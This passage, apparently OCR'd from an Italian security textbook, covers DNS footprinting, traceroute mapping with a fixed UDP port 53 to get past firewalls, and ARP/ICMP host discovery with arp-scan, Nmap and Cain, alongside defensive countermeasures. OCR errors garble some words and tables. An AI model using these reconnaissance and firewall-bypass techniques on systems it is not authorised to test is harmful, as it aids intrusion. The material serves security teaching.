based on a search of: vpn.internallabdomain.com.

10.10.10.5 0.internallabdomain.com
10.10.10.11 av.internallabdomain.com
10.10.10.6 webmail.internallabdomain.com
10.10.10.25 dev.internallabdomain.com
10.10.10.17 tx.internallabdomain.com
10.10.10.1 vpn.internallabdomain.com

MX records:

10 mx1.internallabdomain.com
20 mx2.internallabdomain.com
Whois Lookups:
NetRange 10.10.10.0 - 10.10.10.255
NetHandle NET-10-10-10-0-1
Hostname Lookups:
Found Node! (71.42.190.65 / webmail.internallabdomain.com)
based on a search of: webmail.internallabdomain.com.
Found Node! (50.61.241.43 / HYPERLINK "http://www.internallabdomain.com" www.
internallabdomain.com)
based on a search of: www.internallabdomain.com.

webmail.internallabdomain.com 10.10.10.6
www.internallabdomain.com 10.10.10.5
Nearby IPs:

Found Node! (10.10.10.17 / tx.internallabdomain.com)
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Found Node! (10.10.10.18 / tx1.internallabdomain.com)

Found Node! (10.10.10.20 / speedtest.internallabdomain.com)

Found Node! (10.10.10.21 / relativity.internallabdomain.com)
Found Node! (10.10.10.22 / docreview.internallabdomain.com)

Found Node! (10.10.10.1 / vpn.internallabdomain.com)

Would you like to add domains found using Nearby IPs: [Y|N]

N
10.10.10.17 tx.internallabdomain.com 17.10.10.10.in-addr.arpa
10.10.10.18 tx1.internallabdomain.com 18.10.10.10.in-addr.arpa
10.10.10.20 speedtest.internallabdomain.com 20.10.10.10.1in-addr.arpa
10.10.10.21 relativity.internallabdomain.com 21.10.10.10.in-addr.arpa
10.10.10.22 docreview.internallabdomain.com 22.10.10.10.in-addr.arpa
10.10.10.1 vpn.internallabdomain.com 1.10.10.10.in-addr.arpa

Ending domain scan at Sun Dec 25 18:19:37 2011
Ending Fierce Scan at Sun Dec 25 18:21:34 2011
Total Scan Time: 117 seconds

NI/

" Determinare i record MX (Mail eXchange)

Determinare dove ¢ gestita la posta € un ottimo punto di partenza per localizzare la rete
di firewall dell’organizzazione bersaglio. Spesso, in ambito aziendale, la posta ¢ gestita sullo
stesso sistema del firewall, o almeno sulla stessa rete, percio si puo utilizzare il comando
host per scoprire ulteriori informazioni:

[bash]$ host example.com

esempio.com has address 192.168.1.7
esempio.com mail is handled (pri=10) by mail.example.com
esempio.com mail is handled (pri=20) by smtp-forward.example.com

Q Contromisure per la sicurezza del DNS

I DNS forniscono una miniera di informazioni per gli hacker, percid ridurre la quantita
di dati disponibili su Internet ¢ importante. Dal punto di vista di chi configura 'host,
occorre limitare la possibilita di eseguire trasferimenti di zona ai soli server autorizzati.
Per le versioni moderne di BIND, si puo utilizzare la direttiva allow-transfer nel file
named.conf per imporre tale limite. Nei DNS Microsoft sotto Windows 2008 si possono
specificare determinati server nell’apposita scheda. Per altri nameserver € necessario con-
sultare la documentazione per determinare i passaggi necessari per limitare o disabilitare
1 trasferimenti di zona.

Sul lato della rete, si potrebbe configurare un firewall o un router con filtro di pacchetti
per proibire qualsiasi connessione non autorizzata in entrata sulla porta TCP 53. Poiché le
richieste di ricerca di nomi sono UDP e le richieste di trasferimento di zona sono TCP,
questo contrasta efficacemente un eventuale tentativo di effettuare un trasferimento di
zona. Tuttavia questa contromisura rappresenta una violazione delle norme RFC, secondo
le quali le query DNS con dimensione maggiore di 512 byte saranno inviate via TCP.
Nella maggior parte dei casi, comunque, le query DNS rientrano in 512. Una soluzione
migliore sarebbe quella di implementare sistemi TSIG (Transaction SIGnature) cifrati per
consentire soltanto agli utenti fidati di trasferire dati di zona. Per una guida alla sicurezza
TSIG per DNS, cfr. tools.ietf.org/html/rfc2845.
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Limitando i trasferimenti di zona si allungano i tempi necessari agli hacker per cercare
indirizzi IP e nomi di host. Tuttavia, poiché le ricerche di nomi rimangono accessibili, gli
hacker potrebbero eseguire manualmente dei reverse lookup su tutti gli indirizzi IP per un
dato blocco di rete. Percid occorre configurare dei nameserver esterni in modo da fornire
informazioni soltanto sui sistemi direttamente connessi a Internet. I nameserver esterni
non dovrebbero mai essere configurati in modo da divulgare informazioni di rete interne.
Potrebbe sembrare ovvio, ma abbiamo visto nameserver mal configurati che ¢i hanno
consentito di estrarre pit di 16.000 indirizzi IP interni e nomi di host associati. Infine,
sconsigliamo I'utilizzo di record HINFO. Come si vedra in capitoli successivi, ¢ possibile
individuare con precisione il sistema operativo del bersaglio; con 1 record HINFO diventa
molto piu facile cogliere mediante appositi programmii i sistemi potenzialmente vulnerabili.

Passo 6: riconoscimento della rete

Ora che abbiamo identificato le potenziali reti, possiamo tentare di determinare le loro
topologie e 1 potenziali percorsi di ingresso.

\lé

" Tracerouting

Popolarita:
Semplicita:
Impatto:

Grado di rischio:

8
9
2
6

Per svolgere questo compito si puo utilizzare il programma traceroute (ftp://ftp.ee.1lbl.
gov/traceroute.tar.gz) fornito con la maggior parte delle versioni di UNIX e anche in
‘Windows (in Windows ¢ denominato tracert per compatibilita con 1 vecchi nomi di file 8.3).
Traceroute ¢ uno strumento diagnostico scritto in origine daVan Jacobson, che consente
di visualizzare 1l percorso seguito da un pacchetto IP nel suo viaggio da un host all’altro.
Utilizza 1l campo TTL (Time-"To-Live) del pacchetto per sollecitare un messaggio ICMP
TIME_EXCEEDED da ciascun router. Ogni router che gestisce il pacchetto deve de-
crementare 1l valore del campo TTL, percid questo campo diventa a tutti gli effetti un
contatore di hop. Possiamo utilizzare la funzionalita di traceroute per determinare ’esatto
percorso intrapreso dai nostri pacchetti. Come si ¢ detto in precedenza, traceroute po-
trebbe consentire di scoprire la topologia di rete adottata sul bersaglio, oltre a identificare
dispositivi di controllo di accesso (quali un firewall basato su applicazione o router a filtro
di pacchetti) che potrebbero filtrare il nostro traffico.

Esaminiamo un esempio:

[bash]$ traceroute example.com
traceroute to example.com (192.168.1.7), 30 hops max, 38 byte packets

1 (10.1.1.1) 4.264 ms 4.245 ms 4.226 ms
2 (10.2.1.1) 9.155 ms 9.181 ms 9.180 ms

3 (192.168.10.90) 9.224 ms 9.183 ms 9.145 ms

4 (192.168.10.33) 9.660 ms 9.771 ms 9.737 ms

5 (192.168.10.217) 12.654 ms 10.145 ms 9.945 ms
6 (192.168.11.173) 10.235 ms 9.968 ms 10.024 ms
7 (192.168.12.97) 133.128 ms 77.520 ms 218.464 ms
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8 (192.168.13.78) 65.065 ms 65.189 ms 65.168 ms
9 (192.168.14.252) 64.998 ms 65.021 ms 65.301 ms
10 (192.168.100.130) 82.511 ms 66.022 ms 66.170
11 www.example.com (192.168.1.7) 82.355 ms 81.644 ms 84.238 ms

Possiamo vedere il percorso dei pacchetti che arrivano alla destinazione finale attraverso
diversi hop senza essere bloccati Possiamo ipotizzare di avere a che fare con un host at-
tivo e che I'hop prima di esso (10) sia il router di confine dell’organizzazione. Lhop 10
potrebbe corrispondere a un firewall dedicato, o semplicemente a un dispositivo di filtro
dei pacchetti — non possiamo affermarlo con certezza. In generale, una volta raggiungo
un sistema o una rete attiva, il sistema che lo precede ¢ un dispositivo con funzioni di
routing (per esempio un router o un firewall).

Questo esempio ¢ molto semplice, ma in un ambiente complesso potrebbero esserci pit
percorsi di routing, ovvero dispositivi di routing con interfacce multiple (per esempio un
router della serie Cisco 7500) o bilanciatori di carico. Inoltre, ogni interfaccia potrebbe
avere ACL diversi. In molti casi, alcune interfacce fanno passare le richieste di traceroute,
mentre altre no, proprio a causa degli ACL corrispondenti. Quindi ¢ importante creare
una mappa dell’intera rete con traceroute. Dopo aver utilizzato traceroute per diversi
sistemi sulla rete, si puo iniziare a creare un diagramma di rete che illustri Parchitettura
del gateway verso Internet e la posizione dei dispositivi che forniscono funzionalitd di
controllo degli accessi: il diagramma dei percorsi di accesso.

E importante notare che la maggior parte delle versioni di traceroute in UNIX per default
inviano pacchetti UDP (User Datagram Protocol), con la possibilita di utilizzare pacchetti
ICMP (Internet Control Messaging Protocol) con1’opzione -I.In Windows, invece, per default
sono inviati pacchetti ICMP. Per questo motivo, il percorso puo variare se si utilizzano
versioni diverse di questo strumento e il sito blocca i pacchetti UDP e lascia passare gli
ICMP o viceversa. Un’altra opzione di traceroute ¢ -g, che consente all’'utente di speci-
ficare il routing “loose” dall’origine. Quindi, se si ritiene che il gateway bersaglio accetti
pacchetti con routing impostato dall’origine (pratica assai sconsigliata), si potrebbe provare
ad abilitare questa opzione con i puntatori hop appropriati (utilizzate man traceroute in
UNIX per ulteriori informazioni).

Diverse altre opzioni potrebbero consentirci di bypassare 1 dispositivi di percorso di accesso
durante i nostri test. Lopzione -p n di traceroute consente di specificare un numero di
porta UDP di partenza (n) che sara incrementato di uno all’avvio dell’esplorazione. Percio
non potremo utilizzare un numero di porta fisso senza qualche modifica per traceroute.
Fortunatamente, Michael Schiffman, aka route/daemon9, ha creato una patch (packet-
factory.openwall.net/projects/firewalk/dist/traceroute/) che aggiunge 'opzione -S per
interrompere I'incremento del numero di porta in traceroute versione 1.4a5 (ftp.cerias.
purdue.edu/pub/tools/unix/netutils/traceroute/old); questo ci consente di forzare ogni
pacchetto inviato ad avere un numero di porta fisso, nella speranza che il dispositivo di
controllo di accesso lo lasci passare. Un buon numero da cui partire per la porta UDP ¢ 53
(query DNS). Poiché molti siti consentono le query DNS in entrata, vi € un’elevata proba-
bilita che il dispositivo di controllo di accesso lascera passare i nostri pacchetti esplorativi.

[bash]$ traceroute 10.10.10.2
traceroute to (10.10.10.2), 30 hops max, 40 byte packets

1 gate (192.168.10.1) 11.993 ms 10.217 ms 9.023 ms
2 rtri.example.com (10.10.12.13)37.442 ms 35.183 ms 38.202 ms
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3 rtr2.example.com (10.10.12.14) 73.945 ms 36.336 ms 40.146 ms

4 hssitrt.example.com (10.11.31.14) 54.094 ms 66.162 ms 50.873 ms
5 E N T

6 * * X

In questo esempio possiamo vedere che 1 nostri pacchetti esplorativi di traceroute, che
per default invia pacchetti UDP, sono stati bloccati dal firewall.
Ora inviamo un pacchetto di esplorazione con una porta fissa UDP 53 (query DNS):

[bash]$ traceroute -S -p53 10.10.10.2
traceroute to (10.10.10.2), 30 hops max, 40 byte packets

1 gate (192.168.10.1) 10.029 ms 10.027 ms 8.494 ms

2 rtri.example.com (10.10.12.13) 36.673 ms 39.141 ms 37.872 ms
3 rtr2.example.com (10.10.12.14) 36.739 ms 39.516 ms 37.226 ms
4 hssitrt.example.com (10.11.31.14)47.352 ms 47.363 ms 45.914 ms
5 10.10.10.2 (10.10.10.2) 50.449 ms 56.213 ms 65.627 ms

Poiché 1 nostri pacchetti ora risultano accettabili al dispositivo di controllo di accesso
(hop 4), vengono lasciati passare. Percid possiamo esplorare 1 sistemi che stanno dietro
questo dispositivo di controllo di accesso semplicemente inviando pacchetti con la por-
ta di destinazione UDP 53. Inoltre, se inviamo uno di questi pacchetti a un sistema in
ascolto sulla porta UDP 53, non si riceve un normale messaggio ICMP di destinazione
irraggiungibile e non si vede un host visualizzato in corrispondenza della destinazione
finale raggiunta dal pacchetto.

La maggior parte delle operazioni svolte finora con traceroute si esegue dalla riga di co-
mando. Per chi non ha dimestichezza con la riga di comando, sono disponibili strumenti
come McAfee NeoTrace Professional (mcafee.com) o Foundstone Trout (foundstone.
com). Neotrace fornisce una rappresentazione grafica di ogni hop di rete e integra tale
caratteristica con le query WHOIS. Grazie all’approccio multithread, Trout ¢ uno degli
strumenti per traceroute piu veloci.

Notate che, poiché il valore TTL utilizzato in tracerouting si trova nell’header IP, non
siamo vincolati all'utilizzo di pacchetti UDP o ICMP: potremmo inviare qualsiasi tipo
di pacchetto IP. Questo ci fornisce altre tecniche di tracerouting per far passare i nostri
pacchetti di esplorazione attraverso i firewall che bloccano 1 pacchetti UDP e ICMP. Due
strumenti che consentono il tracerouting di pacchetti TCP su porte specifiche sono tcptra-
ceroute (michael.toren.net/code/tcptraceroute) e Cain & Abel (oxid.it). Altre tecniche
consentono di individuare specifici elenchi ACL per un dato dispositivo di controllo di
accesso. Una di queste ¢ la scansione del protocollo firewall, oltre all’uso di uno strumento
denominato Firewalk (packetfactory.openwall.net/projects/firewalk/index.html) scritto
da Michael Schiffman, lo stesso autore del traceroute con patch utilizzato in precedenza
per interrompere I'incremento del numero di porta.

c Contromisure contro il riconoscimento della rete

In questo capitolo abbiamo esaminato soltanto gli aspetti superficiali delle tecniche per il
riconoscimento della rete. Nei capitoli seguenti vedremo tecniche pitl invasive, tuttavia ¢
possibile impiegare diverse contromisure per ostacolare e individuare i tentativi di esplorare
la rete discussi fin qui. Molti dei sistemi commerciali per il rilevamento di intrusioni nella
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rete (NIDS, Network Intrusion-Detection Systems) e per la prevenzione delle intrusioni (IPS,
Intrusion-Prevention Systems) consentono di individuare le attivita di riconoscimento della
rete. Inoltre, uno dei migliori programmi NIDS freeware, Snort (snort.org) di Marty Ro-
esch, puo individuare queste attivitd. Bro-IDS (bro-ids.org), sviluppato in origine daVern
Paxson, ¢ un’altra piattaforma NIFS open source che ha riscosso notevole successo negli
ultimi anni. Infine, a seconda di come ¢ impostato il sistema di sicurezza del vostro sito,
potreste essere in grado di configurare i router di confine in modo da limitare il traffico
ICMP e UDP solo a sistemi specifici, al fine di ridurre al minimo I’esposizione al pubblico.

Riepilogo

Come avete visto in questo capitolo, gli hacker possono procedere in molti modi per
effettuare attivita di riconoscimento della rete o di footprint. Di proposito ci siamo limi-
tati a descrivere gli strumenti e le tecniche pitt comuni, ma occorre tenere presente che
nuovi strumenti vengono rilasciati ogni settimana, se non tutti i giorni, percid una buona
conoscenza di questo argomento dipende in gran parte dalla capacita di assimilare gli
strumenti per spegnere sul nascere i tentativi di attacco portati con le nuove tecniche di
hacking. Inoltre, abbiamo scelto un esempio semplificato per illustrare i concetti chiave del
footprinting. Spesso vi troverete ad affrontare il compito di individuare e profilare decine
o centinaia di domini, percio ¢ importante sapere come automatizzare il maggior numero
di attivita possibili tramite una combinazione di script della shell di UNIX, Python o Perl.
In pit, molti hacker sono molto bravi a svolgere attivita di riconoscimento della rete senza
farsi scoprire, e dispongono di tutti gli strumenti adatti allo scopo, percio ¢ importante
ricordare di ridurre al minimo la quantita e i tipi di informazioni divulgati dalla propria
presenza su Internet e di implementare sistemi di monitoraggio attivi.
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La scansione

Se svolgere il footprinting ¢ come inquadrare il ber-
saglio raccogliendo tutte le informazioni necessarie,
eseguire la scansione ¢ come ispezionare le pareti
di una casa per trovare porte e finestre da cui poter
entrare. Durante il footprinting abbiamo ottenuto un
elenco di blocchi di rete e indirizzi IP con un’ampia
varieta di tecniche, tra cui le interrogazioni WHOIS e
ARIN. Queste tecniche forniscono all’amministratore
di sistema (e agli hacker) utili informazioni sulla rete
bersaglio, tra cui nomi e numeri di telefono dei dipen-
denti, intervalli di indirizzi IP,server DINS e server di
posta.In questo capitolo determineremo quali sistemi
sono in ascolto di traffico di rete in entrata (vengono
chiamati “alive”, nel senso di “vivi”, “attivi”) e quali
sono raggiungibili utilizzando una varieta di strumenti
e tecniche. Vedremo anche come sia possibile bypas-
sare 1 firewall per eseguire la scansione di sistemi che
dovrebbero essere bloccati da regole di filtro. Infine,
mostreremo come alcune di queste attivitd possano
essere svolte in modo del tutto anonimo.

Prima di cominciare ¢ utile parlare un poco di IPv4
e IPv6. E in corso il passaggio verso uno spazio di
indirizzi IP molto piu ampio denominato IPv6, che
consentira di passare dai 4,2 miliardi di indirizzi [Pv4
disponibili a un range di 2'%, qualcosa come 340 un-
dicilioni di indirizzi — un numero quasi infinito nella
pratica. Una volta che le reti saranno migrate del tutto
su IPv6 e avranno abbandonato la compatibilita con
gli indirizzi IPv4, diventera quasi impossibile esegui-
re la scansione attiva di una rete di tale ampiezza e
ottenere una qualsiasi visibilita di porte e servizi in
esecuzione come quella consentita oggi da IPv4. Fino
a quel giorno, la maggior parte delle reti manterra la

In questo capitolo

Determinare se il sistema
e attivo

Determinare quali servizi
sono in esecuzione
oin ascolto

Rilevamento del sistema
operativo

Elaborare e memorizzare
i risultati di una
scansione
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compatibilitd con IPv4, e tutte le tecniche trattate qui dovrebbero continuare a funzio-
nare. Evitiamo fraintendimenti: certamente ci saranno nuove metodologie da hacker per
enumerare IPv6, e ne parleremo.

Ora passiamo alla fase successiva della raccolta delle informazioni: la scansione.

Determinare se il sistema é attivo

Anche se potremmo avere a disposizione un elenco di intervalli e qualche server sospetto,
in realta non sappiamo se esista un host allocato per un determinato IP, e se quell’host
sia effettivamente attivo. Lo possiamo dedurre effettuando un ping sweep degli indirizzi e
degli blocchi di indirizzi ottenuti durante la fase di footprinting.

NI/

" Ping sweep di rete

Popolarita: 10
Semplicita: 9
Impatto:

Grado di rischio: 7

Il ping di rete ¢ I'atto di inviare determinati tipi di traffico a un bersaglio, e analizzare 1
risultati (o I'assenza di risultati). Generalmente si indica con “effettuare il ping” 'utilizzo di
ICMP, ma il termine si ¢ evoluto fino a comprendere il trattico ARP, ICMPTCP e UDP
volto a tentare di individuare se un host sia attivo.

Ricerca di host ARP

Il protocollo ARP (Address Resolution Protocol) traduce I'indirizzo fisico (MAC) di un sistema
nell'indirizzo IP che gli ¢ stato assegnato. Per ognuno dei metodi di ricerca di host descritti
qui, il sistema deve inviare qualche tipo di richiesta AR P per iniziare il percorso verso la sua
destinazione. Se un hacker si trova sullo stesso segmento di rete del suo bersaglio, utilizzare
ARP per la ricerca di host rappresenta la soluzione migliore, data la scarsita di tempo e
di risorse di esecuzione richiesti. Una scansione ARP invia una richiesta ARP per ciascun
host su una sottorete, e un host viene considerato “vivo” se viene ricevuta una risposta
ARP. Questa tecnica ¢ potente anche perché identifica gli host sui quali sia configurato un
firewall locale e che filtrano il traffico di livello piu alto ICMP,TCP e cosi via).

Arp-scan

Arp-scan, prodotto da NTA Monitor (nta-monitor.com/tools/arp-scan/) ¢ un semplice
strumento di ping ARP e fingerprinting. Lutilizzo ¢ decisamente semplice, basta eseguirlo
come utente root; qui lo facciamo con sudo:

user@hax:~$ sudo ./arp-scan 192.168.1.0/24
Interface: etho, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.8.1 with 256 hosts (http://nta-monitor.com/tools/arp-scan/)

192.168.1.14 58:8F:09:95:3d:20 (Unknown)
192.168.1.15 00:06:2€:00:01:f4 (Unknown)
192.168.1.13 00:50:c2:2f:65:01 (Unknown)

192.168.1.20 58:8d:39:59:4c:25 (Unknown)
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192.168.1.21 58:2d:09:97:18:¢0 (Unknown)
192.168.1.22 38:60:77:35:fb:5a (Unknown)
192.168.1.24 00:23:e8:b4:5c:35 (Unknown)
192.168.1.31 00:15:¢5:47:6b:d7 (Unknown)
192.168.1.210 08:00:37:ae:d3:65 (Unknown)
192.168.1.211  00:00:aa:be:8b:f6 (Unknown)
192.168.1.222  00:00:3a:be:8b:e3 (Unknown)
192.168.1.233  00:00:aa:d7:ef:22 (Unknown)
192.168.1.242  58:8d:09:14:07:43 (Unknown)

13 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.8.1: 256 hosts scanned in 3.695 seconds (69.28 hosts/sec).
13 responded

Nelle prime due colonne si possono vedere tutti gli host attivi e i loro indirizzi MAC. La
terza colonna mostra I’organizzazione assegnata dal campo OUI (Organizationally Unique
Identifier) dell'indirizzo MAC, se disponibile.

Network Mapper (Nmap)

Nmap di Fyodor (nmap.org) ¢ di gran lunga lo strumento di elezione per qualsiasi attivita
collegata alla ricerca di host e servizi. Nmap ¢ supportato in Linux, Windows e Mac.
Come vedrete nei prossimi due capitoli, le funzionalitd di Nmap formano un gruppo
estremamente robusto, e questo lo ha reso uno degli strumenti principali di ogni hacker.
Nmap supporta la scansione ARP con il parametro -PR; tuttavia, per fare in modo che
Nmap si limiti a una semplice ricerca di host e non effettui una scansione delle porte (ne
parleremo meglio in seguito), & necessario specificare anche il parametro -sn. E possibile
specificare un singolo host, ma Nmap rende semplice anche la scansione di un’intera
rete. Come potete vedere, Nmap consente di indicare intervalli nella notazione a blocchi
CIDR (Classless Inter-Domain Routing, ctr. RFC 1519 su ietf.org/rfc/rfc1519.txt). Cosi,
volendo agire sull‘intervallo locale 192.168.1.1-192.168.1.254, potremo semplicemente
indicare 192.168.1.0/24.

user@hax:~$ sudo nmap -sn -PR 192.168.1.0/24
Starting Nmap 5.51 ( http://nmap.org ) at 2011-09-24 11:45 PDT
Nmap scan report for 192.168.1.13

Host is up (0.013s latency).

MAC Address: 00:50:C2:2F:BE:09 (Ieee Registration Authority)
Nmap scan report for 192.168.1.11

Host is up (0.0012s latency).

MAC Address: 5F:8D:09:12:3D:20 (Unknown)
Nmap scan report for 192.168.1.15

Host is up (0.0014s latency).

MAC Address: 00:40:8E:00:0B:F4 (Unknown)
Nmap scan report for 192.168.1.18

Host is up (0.00065s latency).

MAC Address: 58:8D:09:59:4C:25 (Unknown)
Nmap scan report for 192.168.1.19

Host is up (0.00073s latency).

MAC Address: 58:8D:09:97:18:C0 (Unknown)
Nmap scan report for 192.168.1.34

Host is up.

Nmap scan report for 192.168.1.26

Host is up (0.00079s latency).

MAC Address: 38:60:77:35:FB:5A (Unknown)
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Host is up (0.00064s latency).

MAC Address: 00:15:C5:F7:8B:D7 (Dell)
Nmap scan report for 192.168.1.111

Host is up (0.0012s latency).

MAC Address: 00:00:AA:F3:1D:F6 (Xerox)
Nmap scan report for 192.168.1.112

Host is up (0.00092s latency).

MAC Address: 00:00:AA:BE:8B:E3 (Xerox)
Nmap scan report for 192.168.1.113

Host is up (0.00065s latency).

MAC Address: 00:00:AA:D7:EF:25 (Xerox)
Nmap scan report for 192.168.1.122

Host is up (0.0035s latency).

MAC Address: 58:8D:09:F4:0C:43 (Unknown)
Nmap done: 256 IP addresses (12 hosts up) scanned in 2.52 seconds

Gain

Cain (oxid.it/cain.html) ¢ un altro strumento completo a cui faremo riferimento spesso
in tutto il libro. Offre una vasta gamma di funzionalita per Windows, che vanno ben oltre
la ricerca di host e servizi. Per effettuare una ricerca host AR P su Windows, avviate Cain,
selezionate Configure, scegliete la vostra interfaccia di rete, abilitate lo snifter e poi, dalla
scheda Sniffer, fate clic con il pulsante destro del mouse e scegliete Scan MAC Addresses,
come mostrato nella Figura 2.1.

=
B ===
J e BN 4y BEVDEBEaO®ERE O 7 0
@ Decoders |§ MNetwork Iﬂ'ﬂ Sniffer |d Cracker |@ Traceroute |lm Ccou |[(E['J] Wireless |$) Query |
IP address | MAC address | OUI fingerprint | Host name | B... | B... | BS | Gr | M0 | M
192168.1.1 588009953020
19zleslz 00068ECODEF4
192.168.1.7 0050C22FBEDD IEEE REGISTRATION AUTHO...
192.168.1.10 58800959425
192.168.1.32 588D099718C0 Cisco Systems
192,168.1.49 000C29E91684 VMware, Inc.
192.168.1.70 38607735FB5A
192.168.1.180 0015C5376BD7 DellInc
192.168.1.189 0B0037AED365 FUJI-XERQX CO. LTD.
192.168.1.200 0000AABESEFS
192.168.1.219 0000AABESBE3  XEROX CORPORATION
192168.1.221 0000AADTEF22  XEROQX CORPORATION
192.168.1.233 588D09F40743
4 1 | +
|Q Hosts |® APR |'$' Routing |% Passwords |& VolP |
Lost packets: 0%

Figura 2.1 Cain esegue una scansione ARP per individuare host attivi su una sottorete locale.
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NOTA

Nelle situazioni in cui i sistemi bersaglio si trovano su segmenti di rete distanti, la ricerca
ARP perde leggermente di praticita e ci si deve orientare verso scelte diverse, come la
ricerca di host ICMP o TCP/UDP.

La ricerca di host ICMP

I creatori della Internet Protocol Suite erano consapevoli del fatto che esistono molti
scenari nei quali potrebbe essere perfettamente legittimo voler sapere se un determinato
sisterma su una rete sia attivo e raggiungibile. A questo scopo crearono, come meccanismo
generico, il protocollo ICMP (Internet Control Message Protocol). ICMP oftre una varieta
di tipi di messaggi per aiutare a diagnosticare lo stato di un host e il suo percorso di rete.
La tabella che segue presenta un elenco di comuni tipi di messaggi ICMP; per ulteriori
informazioni sul protocollo, consultate il documento RFC 792.

Tipo di messaggio  Descrizione

0 Echo Reply

3 Destination Unreachable
4 Source Quench

5 Redirect

8 Echo Request

1 Time Exceeded

12 Parameter problem

13 Timestamp

14 Timestamp Reply

15 Information Request
16 Information Reply

17 Address Mask Request
18 Address Mask Reply

Anche se il termine “ping” puo essere utilizzato in svariati contesti difterenti, tradizional-
mente si riferisce al processo che vede I'invio di pacchetti ICMP ECHO REQUEST (tipo
8) a un sistema bersaglio nel tentativo di ottenere una risposta ICMP ECHO_REPLY
(tipo 0), che indica che il sistema bersaglio ¢ attivo.

Altri due tipi di messaggi ICMP degni di nota sono ICMP TIMESTAMP, che puo essere
utilizzato per identificare 'ora di sistema del bersaglio, e ICMP ADDRESS MASK, che
puo essere utile per identificarne la maschera di sottorete locale. Nel capitolo seguente,
incentrato sull’enumerazione, verranno fornite ulteriori indicazioni su come utilizzare
questi due tipi ICMP per ottenere informazioni. In questo capitolo il nostro scopo ¢ solo
quello di utilizzare questi messaggi per determinare se I'host bersaglio sia attivo, cercando
di ottenere una risposta da esso.



48 Capitolo 2

Gli strumenti dei sistemi operativi

La maggior parte dei sistemi operativi mette a disposizione lo strumento denominato
“ping” che invia pacchetti del tipo ICMP ECHO REQUEST a un singolo host. Alcuni
sistemi operativi incorporano strumenti che supportano anche altri tipi di messaggi. Su
Linux, il comando che segue invia due (-c 2) messaggi ICMP ECHO REQUEST all’host
192.168.1.1:

user@hax:~$ ping -c 2 192.168.1.1

PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.

64 bytes from 192.168.1.1: icmp_req=1 ttl=64 time=0.149 ms
64 bytes from 192.168.1.1: icmp_req=2 ttl=64 time=0.091 ms

--- 192.168.1.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.091/0.120/0.149/0.029 ms

Gli strumenti messi a disposizione dai sistemi operativi sono utili per la risoluzione di
semplici problemi di connettivita su singoli host; tuttavia, nella maggioranza degli scenari,
risulta preferibile ricorrere a qualcosa che offra funzionalita pit corpose.

Strumenti di rete

Gli strumenti di rete forniscono all’utente un maggiore controllo sui metodi di identifi-
cazione degli host attivi su una rete. Offrono una grande varieta di opzioni per effettuare
la ricerca di host e sono sufficientemente flessibili per svolgere scansioni sia su singoli
host, sia su interi gruppi.

Nmap

La scelta apparentemente pit ovvia per svolgere un semplice ping sweep ICMP con Nmap
¢ quella di usare 'opzione -sn (che significa “senza scansione delle porte”; questa opzione
sostituisce la precedente opzione -sP). Questa opzione, tuttavia, non si limita a inviare un
pacchetto ICMP ECHO REQUEST;se eseguita con 'utente root, effettua anche un ping
ARP, invia un messaggio ICMP TIMESTAMP e svolge anche una certa attivita di ping
TCP (di cui parleremo piu oltre) sulle porte TCP 80 e 443. Se eseguita con un’utenza
non root, si limita a eftettuare ping TCP. Ecco perché ¢ davvero importante comprendere
le funzionalita di strumenti come Nmap. Se la rete bersaglio ¢ sotto il monitoraggio di un
sistema di rilevamento delle intrusioni (IDS, Intrusion Detection System),il traffico aggiuntivo
che viene generato potrebbe involontariamente attivare qualche allarme.

Ecco il modo piu pulito per fare in modo che Nmap invii un pacchetto ICMP ECHO
REQUEST:

user@hax:~$ sudo nmap -sn -PE --send-ip 192.168.1.1

Starting Nmap 5.51 ( http://nmap.org ) at 2011-09-24 10:06 PDT
Nmap scan report for 192.168.1.1

Host is up (0.060s latency).

MAC Address: 5F:8D:09:F4:07:43 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds
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Se ci troviamo nel contesto di root (Nmap svolgera una scansione piu approfondita se
viene eseguito come utente root, perché avra maggior controllo sul sistema), indichiamo
a Nmap di puntare a un particolare host (192.168.1.1), tralasciare la scansione delle porte
(-sn), inviare un pacchetto ICMP ECHO REQUEST (-PE), ¢ non svolgere alcuna riso-
luzione ARP (--send-ip; cio € possibile perché ci troviamo sullo stesso segmento di rete
dell’host di destinazione). Se avessimo eseguito Nmap puntando a un host su un segmento
diverso o su Internet, avriemmo potuto tranquillamente ignorare I’opzione --send-ip. Per
effettuare un ping sweep ICMP ECHO REQUEST su un intero intervallo di host, basta
modificare il puntamento:

user@hax:~$ sudo nmap -sn -PE --send-ip 192.168.1.0/24
Starting Nmap 5.51 ( http://nmap.org ) at 2011-09-24 10:28 PDT
Nmap scan report for 192.168.1.13

Host is up (0.013s latency).

MAC Address: 00:50:C2:2F:BE:09 (Ieee Registration Authority)
Nmap scan report for 192.168.1.11

Host is up (0.0012s latency).

MAC Address: 5F:8D:09:12:3D:20 (Unknown)

Nmap scan report for 192.168.1.15

Host is up (0.0014s latency).

MAC Address: 00:40:8E:00:0B:F4 (Unknown)

Nmap scan report for 192.168.1.18

Host is up (0.00065s latency).

MAC Address: 58:8D:09:59:4C:25 (Unknown)

Nmap scan report for 192.168.1.19

Host is up (0.00073s latency).

MAC Address: 58:8D:09:97:18:C0 (Unknown)

Nmap scan report for 192.168.1.34

Host is up.

Nmap scan report for 192.168.1.26

Host is up (0.00079s latency).

MAC Address: 38:60:77:35:FB:5A (Unknown)

Host is up (0.00064s latency).

MAC Address: 00:15:C5:F7:8B:D7 (Dell)

Nmap scan report for 192.168.1.111

Host is up (0.0012s latency).

MAC Address: 00:00:AA:F3:1D:F6 (Xerox)

Nmap scan report for 192.168.1.112

Host is up (0.00092s latency).

MAC Address: 00:00:AA:BE:8B:E3 (Xerox)

Nmap scan report for 192.168.1.113

Host is up (0.00065s latency).

MAC Address: 00:00:AA:D7:EF:25 (Xerox)

Nmap scan report for 192.168.1.122

Host is up (0.0035s latency).

MAC Address: 58:8D:09:F4:0C:43 (Unknown)

Nmap done: 256 IP addresses (12 hosts up) scanned in 4.25 seconds

Notate come questa scansione abbia richiesto un tempo quasi doppio rispetto alla scan-
sione ARP utilizzata nel paragrafo precedente.

Nmap supporta anche le opzioni ICMP Address Mask (-PM) e TIMESTAMP (-PP). Questi
ulteriori tipi di messaggi possono essere utilizzati in uno scenario nel quale un host sia
configurato in modo da ignorare i messaggi ICMP ECHO, ma potrebbe non ignorare altri
